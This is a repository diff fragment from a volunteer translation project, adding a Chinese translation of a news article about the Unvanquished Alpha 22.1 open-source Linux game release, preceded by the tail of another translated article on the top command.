top: conflicting process selections (U/p/u)
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,42 @@
[翻译中] by KayGuoWhu
Unvanquished 可能成为Linux上最好的免费多人游戏
================================================================================
**Unvanquished一款免费的、开源的并将实时策略元素和未来科幻设定相结合的第一人称视角的射击游戏已经收到了它的第22次更新。事实上版本是22.1,但是是谁在计数呢?**
![](http://i1-news.softpedia-static.com/images/news2/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956-2.jpg)
![](http://www.unvanquished.net/images/20131202-snowstation.jpg)
即便Unvanquished仍处在内部测试阶段但开发者们已经添加了很多新特性使得这款游戏的可玩性更强。
Unvanquished的内部测试版22. 1已经接受了一些改变。包括引擎游戏设置一个新地图一个已有地图的新版本
还有更多。
Snowstation是集成在这款游戏中的新地图。据开发者透露它拥有一个简单的设计必要的环路和用来形成这个环路的一部分的雪地场景。
公告里写道“我们使用C++编写所有的引擎代码。一些地方变得有点不同——一些指令被略微更改或重命名,一些输出看起来不同。你可能会注意到在进行标记结构时,需要重新绑定关键字。原因是/if已经失去修改关键字的支持你需要使用/modcase代替”。
### Unvanquished Alpha 22.1的亮点:###
• 喷气机已经被加入。玩家必须按住跳跃键然后飞翔 - 但你不能一直翱翔,你只有有限的燃料;
• 被报告的“受到攻击”消息的原因已经被改变;
• 当接近合适的建筑时,人类的武器将被自动填充或充电,而不是使用;
• 中继器现在是有效的小型反应堆,当周围没有反应堆时,它们能提供能量;
• 在OpenGL 2.1的环境中FXAA和Mesa一起工作。
关于这款看起来让人很惊奇的游戏的更多细节可以在官方网站 [网址][1]上找到。请注意这是一个正在进行中的工作,所以错误是一定会出现的。
**立即下载Unvanquished Alpha 22.1**
- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB]
- [Arch Linux package][2][binary] [0 KB]
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml
译者:[KayGuoWhu](https://github.com/KayGuowhu) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22
[2]:http://www.unvanquished.net/download#linux